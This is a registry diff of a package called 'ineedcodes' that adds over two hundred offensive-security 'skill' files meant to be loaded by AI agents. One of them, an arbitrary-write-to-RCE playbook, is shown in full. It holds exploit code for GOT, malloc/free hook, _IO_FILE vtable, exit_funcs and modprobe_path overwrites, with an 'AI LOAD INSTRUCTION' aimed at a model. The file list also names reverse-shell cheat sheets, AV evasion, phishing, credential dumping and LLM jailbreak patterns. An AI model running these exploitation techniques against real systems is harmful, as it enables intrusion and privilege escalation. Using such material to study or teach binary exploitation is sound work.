ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,361 @@
1
+ ---
2
+ name: arbitrary-write-to-rce
3
+ description: >-
4
+ Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.gated: true
5
+ ---
6
+
7
+ # SKILL: Arbitrary Write to Code Execution — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path, .fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [heap-exploitation](../heap-exploitation/SKILL.md) — obtaining the arbitrary write via heap attacks
14
+ - [format-string-exploitation](../format-string-exploitation/SKILL.md) — obtaining the arbitrary write via %n
15
+ - [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — stack-based write primitives
16
+ - [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — which targets are available given protection configuration
17
+ - [heap-exploitation IO_FILE_EXPLOITATION.md](../heap-exploitation/IO_FILE_EXPLOITATION.md) — deep _IO_FILE structure exploitation
18
+
19
+ ---
20
+
21
+ ## 1. TARGET SELECTION BY GLIBC VERSION
22
+
23
+ | Target | glibc < 2.24 | 2.24–2.33 | ≥ 2.34 | Required Knowledge |
24
+ |---|---|---|---|---|
25
+ | GOT overwrite | OK (Partial RELRO) | OK (Partial RELRO) | OK (Partial RELRO) | Binary base |
26
+ | `__malloc_hook` | OK | OK | **Removed** | libc base |
27
+ | `__free_hook` | OK | OK | **Removed** | libc base |
28
+ | `__realloc_hook` | OK | OK | **Removed** | libc base |
29
+ | `_IO_FILE` vtable (direct) | OK | Vtable range check | Vtable range check | libc base + heap |
30
+ | `_IO_FILE` via `_IO_str_jumps` | N/A | OK (2.24–2.27) | Patched | libc base + heap |
31
+ | `_IO_FILE` via `_IO_wfile_jumps` | N/A | OK (≥ 2.28) | OK | libc base + heap |
32
+ | `__exit_funcs` | OK | OK | OK | libc base + pointer guard |
33
+ | `TLS_dtor_list` | N/A | N/A | OK | TLS addr + pointer guard |
34
+ | `_dl_fini` / link_map | OK | OK | OK | ld.so base |
35
+ | `modprobe_path` (kernel) | OK | OK | OK | Kernel base |
36
+ | `.fini_array` | OK | OK | OK | Binary base (if writable) |
37
+ | C++ vtable | OK | OK | OK | Object address + heap |
38
+ | `setcontext` gadget | OK | OK (changed in 2.29) | OK | libc base |
39
+ | Stack return address | Always | Always | Always | Stack address |
40
+
41
+ ---
42
+
43
+ ## 2. GOT OVERWRITE
44
+
45
+ **Replace a function pointer in the Global Offset Table.**
46
+
47
+ ### Requirements
48
+ - Partial RELRO (`.got.plt` writable) — Full RELRO blocks this entirely
49
+
50
+ ### Common Targets
51
+
52
+ | Overwrite From | Overwrite To | Trigger |
53
+ |---|---|---|
54
+ | `printf@GOT` | `system` | Next `printf(user_input)` with input = `/bin/sh` |
55
+ | `free@GOT` | `system` | Next `free(ptr)` where ptr points to `"/bin/sh"` |
56
+ | `strlen@GOT` | `system` | Next `strlen(user_input)` |
57
+ | `atoi@GOT` | `system` | Next `atoi(user_input)` with input = `"sh"` |
58
+ | `puts@GOT` | `system` | Next `puts(user_input)` |
59
+ | `exit@GOT` | `main` or gadget | Create loop for multi-shot exploit |
60
+ | `__stack_chk_fail@GOT` | `ret` gadget | Neutralize canary check |
61
+
62
+ ```python
63
+ # Format string GOT overwrite
64
+ from pwn import fmtstr_payload
65
+ payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})
66
+
67
+ # Heap-based GOT overwrite (tcache poisoning)
68
+ # Allocate chunk at GOT address → write system address
69
+ ```
70
+
71
+ ---
72
+
73
+ ## 3. __malloc_hook / __free_hook (glibc < 2.34)
74
+
75
+ ### __malloc_hook
76
+
77
+ ```python
78
+ # Overwrite __malloc_hook with one_gadget address
79
+ # Triggered by any malloc call (including internal malloc in printf with large format)
80
+ write(libc.sym['__malloc_hook'], one_gadget_addr)
81
+ # Trigger:
82
+ io.sendline('%100000c') # printf calls malloc internally for large format
83
+ ```
84
+
85
+ ### __free_hook
86
+
87
+ ```python
88
+ # Overwrite __free_hook with system
89
+ write(libc.sym['__free_hook'], libc.sym['system'])
90
+ # Trigger: free a chunk containing "/bin/sh"
91
+ chunk_data = b'/bin/sh\x00'
92
+ # ... allocate chunk with this data, then free it
93
+ ```
94
+
95
+ ### Realloc Trick for one_gadget Constraints
96
+
97
+ ```python
98
+ # one_gadget often requires specific register/stack state
99
+ # realloc pushes registers and adjusts stack before calling __realloc_hook
100
+ # Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
101
+ # Set __realloc_hook = one_gadget
102
+ write(libc.sym['__realloc_hook'], one_gadget)
103
+ write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2) # +2, +4, +6 etc. to adjust
104
+ ```
105
+
106
+ ---
107
+
108
+ ## 4. _IO_FILE VTABLE
109
+
110
+ See [IO_FILE_EXPLOITATION.md](../heap-exploitation/IO_FILE_EXPLOITATION.md) for full details.
111
+
112
+ ### Quick Summary by Version
113
+
114
+ | glibc | Method | Vtable Target |
115
+ |---|---|---|
116
+ | < 2.24 | Direct vtable overwrite | Point vtable to fake table with `system` at `__overflow` offset |
117
+ | 2.24–2.27 | `_IO_str_jumps` | Within valid range; `_IO_str_finish` calls `_s._free_buffer` |
118
+ | ≥ 2.28 | `_IO_wfile_jumps` | Wide-char path: `_wide_data->_wide_vtable` not range-checked |
119
+ | ≥ 2.35 | House of Cat | `_IO_wfile_seekoff` → `_IO_switch_to_wget_mode` → fake wide vtable call |
120
+
121
+ ### FSOP Trigger
122
+
123
+ ```python
124
+ # Overwrite _IO_list_all → fake FILE with crafted vtable
125
+ # Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW
126
+ ```
127
+
128
+ ---
129
+
130
+ ## 5. __exit_funcs / __atexit
131
+
132
+ ```c
133
+ // __exit_funcs is a linked list of function pointer entries called during exit()
134
+ // Each entry contains a flavor (cxa, on, at) and a function pointer
135
+ // Function pointers are MANGLED with pointer guard:
136
+ // stored = ROL(ptr ^ __pointer_chk_guard, 0x11)
137
+ ```
138
+
139
+ ### Exploitation
140
+
141
+ ```python
142
+ # Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
143
+ # 1. Leak or brute-force pointer_guard
144
+ # 2. Compute mangled function pointer:
145
+ import struct
146
+ def mangle(ptr, guard):
147
+ return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff
148
+
149
+ # 3. Write mangled one_gadget/system to __exit_funcs entry
150
+ # 4. Trigger: call exit() or return from main
151
+ ```
152
+
153
+ ### Without Pointer Guard Knowledge
154
+
155
+ If you can overwrite both the function pointer AND the pointer guard (in TLS at `fs:[0x30]`):
156
+ 1. Set pointer guard to 0
157
+ 2. Set function pointer to `ROL(target, 0x11)`
158
+ 3. Demangling: `ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target`
159
+
160
+ ---
161
+
162
+ ## 6. TLS_dtor_list (glibc ≥ 2.34)
163
+
164
+ **Thread-local destructor list — the primary post-2.34 target.**
165
+
166
+ ```c
167
+ // Called during __call_tls_dtors() in exit flow
168
+ // Each entry: { void (*func)(void *), void *obj, void *next }
169
+ // func is MANGLED same as exit_funcs (PTR_DEMANGLE)
170
+ ```
171
+
172
+ ### Location
173
+
174
+ ```
175
+ TLS area (pointed by fs register on x86-64)
176
+ tls_dtor_list is a thread-local variable in libc
177
+ Typically at fs:[offset] — offset found via libc symbol or brute-force
178
+ ```
179
+
180
+ ### Exploitation
181
+
182
+ ```python
183
+ # 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
184
+ # 2. Compute tls_dtor_list address
185
+ # 3. Forge a tls_dtor_list entry:
186
+ entry = p64(mangled_func_ptr) # func (mangled with pointer guard)
187
+ entry += p64(arg_value) # obj (passed as argument to func)
188
+ entry += p64(0) # next = NULL (end of list)
189
+ # 4. Write entry to heap, set tls_dtor_list to point to it
190
+ # 5. Trigger: exit() → __call_tls_dtors() → func(obj)
191
+ ```
192
+
193
+ ---
194
+
195
+ ## 7. _dl_fini / LINK_MAP CORRUPTION
196
+
197
+ ### Attack Vector
198
+
199
+ During `exit()`, `_dl_fini` iterates the link_map list and calls `DT_FINI_ARRAY` entries.
200
+
201
+ ```c
202
+ // In _dl_fini:
203
+ for each loaded library (link_map entry):
204
+ if l_info[DT_FINI_ARRAY]:
205
+ array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
206
+ for each entry in array:
207
+ entry() // call destructor
208
+ ```
209
+
210
+ ### Exploitation
211
+
212
+ 1. Corrupt a `link_map` entry's `l_addr` (relocation base) to shift the FINI_ARRAY pointer
213
+ 2. Or corrupt `l_info[DT_FINI_ARRAY]` to point to fake array
214
+ 3. Fake array contains target function pointer (system, one_gadget)
215
+ 4. Trigger: `exit()` → `_dl_fini` → calls fake destructor
216
+
217
+ **Advantage**: No pointer mangling (function pointers in FINI_ARRAY are not mangled).
218
+
219
+ ---
220
+
221
+ ## 8. modprobe_path (KERNEL)
222
+
223
+ **Overwrite the kernel's `modprobe_path` to execute arbitrary commands as root.**
224
+
225
+ ```python
226
+ # 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
227
+ # with "/tmp/x" (attacker's script)
228
+ kernel_write(modprobe_path_addr, b'/tmp/x\x00')
229
+
230
+ # 2. Prepare script:
231
+ # echo '#!/bin/sh' > /tmp/x
232
+ # echo 'cat /flag > /tmp/output' >> /tmp/x
233
+ # chmod +x /tmp/x
234
+
235
+ # 3. Trigger: execute a file with unknown binary format
236
+ # echo -ne '\xff\xff\xff\xff' > /tmp/trigger
237
+ # chmod +x /tmp/trigger
238
+ # /tmp/trigger
239
+ # → kernel calls modprobe_path ("/tmp/x") as root
240
+ ```
241
+
242
+ See [kernel-exploitation](../kernel-exploitation/SKILL.md) for kernel write primitives.
243
+
244
+ ---
245
+
246
+ ## 9. .fini_array
247
+
248
+ **Overwrite destructor function pointers called during normal program exit.**
249
+
250
+ ```python
251
+ # .fini_array contains function pointers called in reverse order during exit
252
+ # Typically: [__do_global_dtors_aux, ...]
253
+ # Overwrite first entry with target (main for loop, system for RCE)
254
+
255
+ # Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>
256
+ # First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
257
+ # In main loop: set up final exploit
258
+ ```
259
+
260
+ **Limitation**: `.fini_array` may be read-only in Full RELRO binaries.
261
+
262
+ ---
263
+
264
+ ## 10. C++ VTABLE OVERWRITE
265
+
266
+ ```cpp
267
+ // C++ objects with virtual functions have a vptr at offset 0
268
+ // vptr → vtable → array of function pointers
269
+ // Overwrite vptr to point to fake vtable with controlled function pointers
270
+
271
+ // Object layout:
272
+ // +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
273
+ // +0x08: member data...
274
+ ```
275
+
276
+ ```python
277
+ # 1. Leak object address and vptr
278
+ # 2. Create fake vtable in controlled memory:
279
+ fake_vtable = p64(0) # offset -0x10 (RTTI info)
280
+ fake_vtable += p64(0) # offset -0x08 (RTTI info)
281
+ fake_vtable += p64(target_func) # virtual function 0 → system / one_gadget
282
+ fake_vtable += p64(target_func) # virtual function 1
283
+ # 3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
284
+ # 4. Trigger: call virtual function on the object
285
+ ```
286
+
287
+ ---
288
+
289
+ ## 11. setcontext GADGET
290
+
291
+ `setcontext` in libc loads registers from a `ucontext_t` structure — useful as a pivot gadget.
292
+
293
+ ### glibc < 2.29
294
+
295
+ ```c
296
+ // setcontext+53: loads registers from [rdi + offsets]
297
+ // RDI = first argument = pointer to controlled buffer
298
+ // Sets RSP, RIP, and all other registers → full control
299
+ ```
300
+
301
+ ### glibc ≥ 2.29
302
+
303
+ ```c
304
+ // setcontext+61: loads registers from [rdx + offsets]
305
+ // Must control RDX, not RDI
306
+ // Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]
307
+ ```
308
+
309
+ ```python
310
+ # Common pattern with __free_hook (pre-2.34):
311
+ # __free_hook = setcontext + 61
312
+ # free(chunk) → setcontext(chunk) where chunk contains fake ucontext
313
+ # From ucontext: set RSP to ROP chain, RIP to ret → ROP continues
314
+
315
+ # Post-2.34: combine with _IO_FILE exploitation
316
+ # _IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext
317
+ ```
318
+
319
+ ---
320
+
321
+ ## 12. DECISION TREE
322
+
323
+ ```
324
+ You have an arbitrary write primitive. What to target?
325
+
326
+ ├── What's the RELRO level?
327
+ │ ├── None / Partial → GOT overwrite (simplest, most reliable)
328
+ │ │ └── printf→system, free→system, atoi→system
329
+ │ └── Full RELRO → GOT read-only, choose alternative:
330
+
331
+ ├── What glibc version?
332
+ │ ├── < 2.34 (hooks available)
333
+ │ │ ├── __free_hook = system → free("/bin/sh") [easiest]
334
+ │ │ ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
335
+ │ │ └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
336
+ │ │
337
+ │ ├── ≥ 2.34 (no hooks)
338
+ │ │ ├── Know pointer guard (fs:[0x30])?
339
+ │ │ │ ├── YES → __exit_funcs or TLS_dtor_list
340
+ │ │ │ └── NO → overwrite pointer guard to 0 first, then exit_funcs
341
+ │ │ ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
342
+ │ │ │ └── Need: libc base + heap address + controllable FILE structure
343
+ │ │ ├── _dl_fini link_map corruption
344
+ │ │ │ └── Need: ld.so base address
345
+ │ │ └── .fini_array (if writable)
346
+ │ │ └── Need: binary base (no PIE, or PIE base leaked)
347
+ │ │
348
+ │ └── Any version
349
+ │ ├── Stack return address (if stack address known)
350
+ │ └── C++ vtable (if targeting C++ object with virtual functions)
351
+
352
+ ├── Kernel write primitive?
353
+ │ ├── modprobe_path (simplest kernel→root)
354
+ │ ├── core_pattern (/proc/sys/kernel/core_pattern)
355
+ │ └── Direct cred structure overwrite
356
+
357
+ └── Need to chain read → write → execute?
358
+ └── setcontext gadget: arbitrary write → pivot RSP → ROP chain
359
+ ├── glibc < 2.29: setcontext+53 (uses RDI)
360
+ └── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)
361
+ ```
@@ -0,0 +1,41 @@
1
+ ---
2
+ name: auth-sec
3
+ description: >-
4
+ Entry P1 category router for authentication and authorization. Use when
5
+ testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF,
6
+ and enterprise SSO weaknesses before any deeper auth topic skill.gated: true
7
+ ---
8
+
9
+ # Authentication and Authorization Router
10
+
11
+ This is the routing entry point for authentication, sessions, and authorization boundaries.
12
+
13
